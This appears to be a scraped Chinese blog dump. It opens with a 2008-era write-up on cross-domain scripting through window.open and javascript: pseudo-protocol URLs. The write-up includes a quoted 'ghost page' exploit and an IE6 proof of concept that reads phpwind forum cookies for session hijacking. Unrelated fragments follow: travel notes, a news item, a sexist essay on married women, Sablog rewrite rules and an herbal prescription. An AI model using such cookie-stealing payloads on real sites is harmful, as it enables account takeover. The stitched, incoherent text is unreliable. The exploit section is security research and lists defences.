Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My Domain
的议题，字面上的意思就是驻留在自己的域，随后开始有牛人在自己BLOG上写了一些相关的
内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼页，这个鬼页非常神奇，
可以跟随你浏览的每个页面。经过鬼页的启发，我也对浏览器的跨域安全问题进行了测试。

1.来自伪协议的呼唤

    JAVASCRIPT里大家都频繁使用window对象，window对象代表的就是浏览器的窗口，我们
就来测试下window对象的open方法，尝试让新开的窗口执行伪协议。

    在本机搭建一个WEB服务器，开始做下实验：

    用各个浏览器浏览 http://127.0.0.1/test.htm ，下面是test.htm的脚本内容：

    <script>  
    x=window.open("about:blank");
    x.location="javascript:alert(document.domain)"

    </script>

    结果是：

    IE6：执行了伪协议，认为弹出窗口的域是127.0.0.1。
    IE7：执行了伪协议，认为弹出窗口的域是127.0.0.1。
    Firefox：执行了伪协议,认为还没有域为NULL。

    Firefox这里对于这个接口可能也有个BUG，对于IP地址的弹窗Firefox没有辨认出域，但
是在实际绑定域名的情况下还是辨认出了域。

    为了下面的部分方便理解，我把这里弹窗的关系给简称下，原来的窗口叫父页，弹出窗口
叫子页，实验过后我们证明了:

    父页和子页都在同一个域里，父页可以重定向子页的URL地址，甚至执行伪协议。


2.父页和子页的关系

    如果父页让子页访问其他域后，父页和子页是否就脱离关系了呢？

    继续测试，用各个浏览器浏览 http://127.0.0.1/test2.htm ，下面是test2.htm的脚本
内容：

    <script>  
    x=window.open("about:blank");
    x.location="http://www.163.com" //访问163网站
    setTimeout(function(){
        x.location="http://127.0.0.1";
    },5000)  //5秒后重定向到127.0.0.1
    </script>

    这次IE6、IE7、Firefox都达成了一致，实验的结果是子页访问了163网站，5秒然后又跳
回了127.0.0.1。

    所以就算是子页在访问了其他域后，还是会受父页的控制。


3.域与域之间的牵绊

    如果父页让子页访问某个域后，再执行伪协议会有什么效果？

    用各个浏览器浏览 http://127.0.0.1/test3.htm，下面是test3.htm的脚本内容：

    <script>  
    x=window.open("about:blank");
    x.location="http://www.163.com"
    setTimeout(function(){
        x.location="javascript:alert(document.cookie)";
    },5000)
    </script>

    结果是：

    IE6：没有反应。
    IE7：报错，拒绝访问。
    Firefox：报错，alert没有定义。

    这些信息明显的说明，如果子页和父页不在同一个域里，浏览器是不允许父页控制子页
执行伪协议脚本的。

    为了进一步验证，我们让子页打开同一个域里的页面测试：

    用各个浏览器浏览 http://127.0.0.1/test4.htm，下面是test4.htm的脚本内容：

    <script>
    document.cookie="xss:true"  //给本域设置一个COOKIE为xss:true
    x=window.open("about:blank");
    x.location="http://127.0.0.1"
    setTimeout(function(){
        x.location="javascript:alert(document.cookie)";
    },5000)
    </script>

    结果IE6、IE7、Firefox都顺利的弹出了COOKIE值，说明如果子页和父页在同一个域里，
浏览器是允许父页控制子页执行伪协议脚本的。


4.安全上的差异

    父页和子页这种微妙的关系，到这里就开始引发安全问题了，PDP等大牛在分析鬼页的时
候给出了EXP:

    javascript:x=open("http://hackademix.net/");setInterval(function(){try{x.frames[0].location={toString:function(){return "http://www.sirdarckcat.net/caballero-listener.html";}}}catch(e){}},5000);void(1);

    EXP按上面三部分的概念解释是：

    父页是A域，父页指定子页访问B域内一个带框架的页面，父页就能够控制B域页面内框架
的URL地址，这个就是典型的跨域操作了。

    鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制，第二个是让
location指定的地址看起来像个对象而不是参数。

    我们按照鬼页的思路，继续在第3部分的基础上测试下去,将location指定的地址使用
new String()对象处理。

    用各个浏览器浏览 http://127.0.0.1/test5.htm，下面是test5.htm的脚本内容：

    <script>  
    x=window.open("about:blank");
    x.location="http://www.163.com"；
    setTimeout(function(){
        x.location=new String("javascript:alert(document.cookie)")
    },5000)
    </script>

    IE6：弹出COOKIE。
    IE7：报错，拒绝访问。
    Firefox：报错，alert没有定义。

    结果是IE6奇迹般的弹出了COOKIE，我们做到了跨域执行脚本。

5.灾难性的后果

    到这里我们发现了一个IE6的0DAY，一定程度上这个跨域安全问题是灾难性的，如下面的
EXP：

    <a href="">IE6 Cross Domain Scripting</a>
    <script>
    function win(){
        x=window.open("http://www.phpwind.net");
        setTimeout(function(){
            x.location=new String("javascript:alert(document.cookie)")
        },3000)
    }
    window.onload=function(){
        for (i=0;i<document.links.length;i++) {
            document.links[i].href="javascript:win()"

        }
    }
    </script>

    点击链接后，马上得到了PHPWIND论坛的COOKIE，这就意味着黑客通过类似的攻击可以得
到你访问过的任意网站的COOKIE，然后劫持你的会话。

    这样的漏洞相当于一个没有域限制的XSS漏洞，几乎是无法防御的，网站只能进一步的加
强客户端的会话安全，如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的
请求操作加上水印等。


6.总结

    这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏，没有考虑清楚不
同域有继承关系的window对象操作后的变化，只是对window对象的一些方法的参数做了类似
数据类型的限制，导致最后绕过限制跨域执行了脚本。

    从这个漏洞我们也可以看出IE7的一些新的安全特性，通过继承关系的window对象操作
来跨域执行脚本伪协议最后是判断了域的，IE7已经开始防范类似的攻击。

    但是这里并没有在本质上解决跨域安全问题，IE7只防范了跨域执行脚本，对于其他跨域
的操作仍然是放行的，所以鬼页在IE7下可以跨域操作框架URL，而Firefox却没有存在相同的
问题，说明不同浏览器在安全的考虑上也是存在很多差异的。

    针对IE我又测试了其他对象方法，发现很多都被限制住了，但不排除还有同样的问题存
在。按照类似的思路，大家可以继续尝试挖掘浏览器的一些跨域漏洞。

    最后感谢HI群里共同讨论的朋友。

7.参考

[1] Browser"s Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html
[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/

-EOF-

日啖荔枝三百颗，不辞职长作岭南人.

刚好是周末，旅游团的人一批接一批.

走得够累了，再次启程去大亚湾，吃完饭后浸咸水。

接近目的地，外面已经放满泳衣和救生圈等的游泳用品。

到达海边，刚好是吃饭时间。路边一大堆的服务员开始拉客。满满的饭店名称，可推断各地的游客为不断上升的GDP值，作出了不小的贡献。最终选定了个靠窗的位置。

自己挑选海鲜。

上菜的速度稍慢，来一盘已经消灭一盘。

胃口不太好，只吃一点。

稍作休息，出发去游泳的地方。这条路有点尘。

人流量还不错，换上泳裤，冲啊。

那，那个蓝蓝滴天空；色色滴眼睛。

此岛就是金夫人婚纱摄影店其中一个外景点了。

看到这个视频，想起以前一同事，几乎每晚凌晨四五点起来冲奶给女儿喝。完后，抽完一根烟。又爬到床上睡觉。我呢?以后会是个称职的好父亲吗?

2010年8月12日，新华通讯社副社长周锡生与中国移动通信集团公司副总裁沙跃家在协议上签字。双方将合作成立搜索引擎新媒体国际传播公司。这标志着新华社与中国移动以建设搜索引擎为主的合作进入了实质性操作和运作阶段。

helen：是吗？娇嫩皮肤发出的声音特别好听吧？

我：不，因为这样我就可以YY巴掌抽在你脸上的声音。虽然不是那么地响亮。

helen箭步从梳装台冲过来，把被子一掀。“你哪个单位的？哪个让你睡懒觉的？”

。。。。。。

我泪奔去洗刷。

因为每年都要挂掉一两件，今年起告示牌了：

首先是少妇们除了拥有青春的活力之外，更具有成熟的女人味。一个少妇为什么能让男人们恋恋不舍，其最大原因就是她们拥有比少女所不同的特殊气质和韵味。她们除了拥有青春的活力之外，更具有成熟的女人味，古往今来的少妇们概莫能外。即便是一个清纯不能再清纯的少女，几次风流之后，都会发生质的飞跃。如西施、王昭君、貂蝉和杨玉环这古代最著名的四大美女，再如卓文君、蔡文姬、上官婉儿和李清照等历史上文坛才女，那些诸如苏小小、薛涛、李师师，以及秦淮八艳的李香君、柳如是、陈圆圆等风尘女子就不用说了。

这就是说，少妇的特殊气质的形成，或者来自一段婚姻的磨炼，或者有过一段感情的经历，或者因为身不由己地陷入一时的风月泥潭。于是，清纯的少女变成了成熟的少妇，也变成了完整的也是完美的女人。当然，一个能吸引男人眼光的女人她必然有着少女无法拥有的很多东西。少女拥有的是她们青春的活力，而少妇们除此之外，她们身上还散发着一种少女们所没有的成熟女人味。而这种女人味是一种由内而发的美，正是男人们不厌其烦而梦寐以求的。

即便她像一朵不是很美的花，但她香气袭人，风姿绰约，也一样让男人们无法自持，欲罢不能，这样的美才令男人们想入非非。于是，卓文君即便寡居多年，也能令司马相如神魂颠倒，后来就有了“凤求凰”的故事；于是，蔡文姬为了死罪的丈夫来求曹操，杀人如麻的曹操竟然怜香惜玉，而对她的丈夫网开一面；于是，连身为九五之尊的唐玄宗李隆基色令智昏，竟将自己的儿媳妇杨玉环揽入自己怀中。这样不爱少女爱少妇的故事，从古至今，比比皆是，不一而足。

其次是少妇们更懂得“女为悦己者容”。少妇是一个可以说经历了人生很多事情的女人。从清纯的少女到成熟的少妇，正是这样的一个角色的改变，才让古往今来的男人们对那些少妇有着一种近乎疯狂的痴迷。当然，少女也懂得“女为悦己者容”的道理，但她们却不懂男人到底喜欢什么样的女人的容貌风姿，而只有与男人结合过的女人才懂得男人的心。如果一个再漂亮不过的女人，只要她是一个处女，即便是一个久经沧桑的老处女，但她很难拥有那种令男人们想入非非的气质和韵味。而与男人结合过的女人就不同了，即便是徐娘半老，依然是风韵犹存。

古代一般良家少妇懂得男人们的心，而那些青楼妓院的歌女则更是清楚男人们的爱好，每日都把自己打扮得珠环翠绕，花枝招展。这就不难理解古代的男人为什么一有空闲，就往青楼妓院跑，不仅黎民百姓如此，王公大臣如此，就连后宫拥有三千佳丽的皇帝也如此。宋徽宗赵佶为了一睹京城名妓李师师的芳容，竟然令人挖了一条从皇宫大内直通烟花柳巷的地道！其对青楼少妇的痴迷程度由此可见一斑。可以说，宋徽宗是不爱少女爱少妇的男人们中间的杰出代表。

<form action="cp.php?job=link" method="post">

<form action="cp.php?job=category" method="post">

提供最新的编辑器和category.php,直接覆盖\templates\admin\category.php就行.这个也是A修改发给我的.

category.rar (1.41 K, 下载次数:17, 上传时间:Wed, 04 Aug 2010 21:43:32 +0000)

editor.rar (266.03 K, 下载次数:15, 上传时间:Wed, 04 Aug 2010 21:43:32 +0000)

# BEGIN Sablog-X
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /saxdev

RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [S=14]

# 只带月份的归档
RewriteRule ^date/([0-9]{6})/?([0-9]+)?/?$ index.php?action=article&setdate=$1&page=$2 [QSA,L]

# 无分类翻页
RewriteRule ^page/([0-9]+)?/?$ index.php?action=article&page=$1 [QSA,L]

# 分类
RewriteRule ^category/([0-9]+)/?([0-9]+)?/?$ index.php?action=article&cid=$1&page=$2 [QSA,L]
RewriteRule ^category/([^/]+)/?([0-9]+)?/?$ index.php?action=article&curl=$1&page=$2 [QSA,L]

# 归档、高级搜索
RewriteRule ^(archives|list|article|links)/?$ index.php?action=$1 [QSA,L]

# 全部评论、标签列表、带分页
RewriteRule ^(comments|tagslist|article)/?([0-9]+)?/?$ index.php?action=$1&page=$2 [QSA,L]

# tags
RewriteRule ^tag/([^/]+)/?([0-9]+)?/?$ index.php?action=article&tag=$1&page=$2 [QSA,L]

# 文章
RewriteRule ^archives/([0-9]+)/?([0-9]+)?/?$ index.php?action=show&id=$1&page=$2 [QSA,L]

# RSS
RewriteRule ^rss/([0-9]+)?/?$ rss.php?cid=$1 [QSA,L]
RewriteRule ^rss/([^/]+)/?$ rss.php?url=$1 [QSA,L]

# 用户
RewriteRule ^uid/([0-9]+)/?([0-9]+)?/?$ index.php?action=article&uid=$1&page=$2 [QSA,L]
RewriteRule ^user/([^/]+)/?([0-9]+)?/?$ index.php?action=article&user=$1&page=$2 [QSA,L]

# 地图文件
RewriteRule sitemap.xml sitemap.php [QSA,L]

# 自定义链接
RewriteRule ^([^/]+)/?([0-9]+)?/?$ index.php?action=show&alias=$1&page=$2 [QSA,L]

</IfModule>
# END Sablog-X

沿途，水泥厂,照片很诡异，整个都歪了:

进入林场管理区，山路有点弯:

沿途,这座桥也很有历史了:

青山碧水绿地,富山富民富国:

途中,水已干涸,听说是在修堤坝:

到达目的地,远离污染，远离喧闹，这算是山清水秀吗?可以尽量游个痛快:

回家途中，日落了:

紫草10g
葛根10g
黄连3g
连翘10g
红花6g
牛蒡子10g
大青叶10g

煎复，二天去除.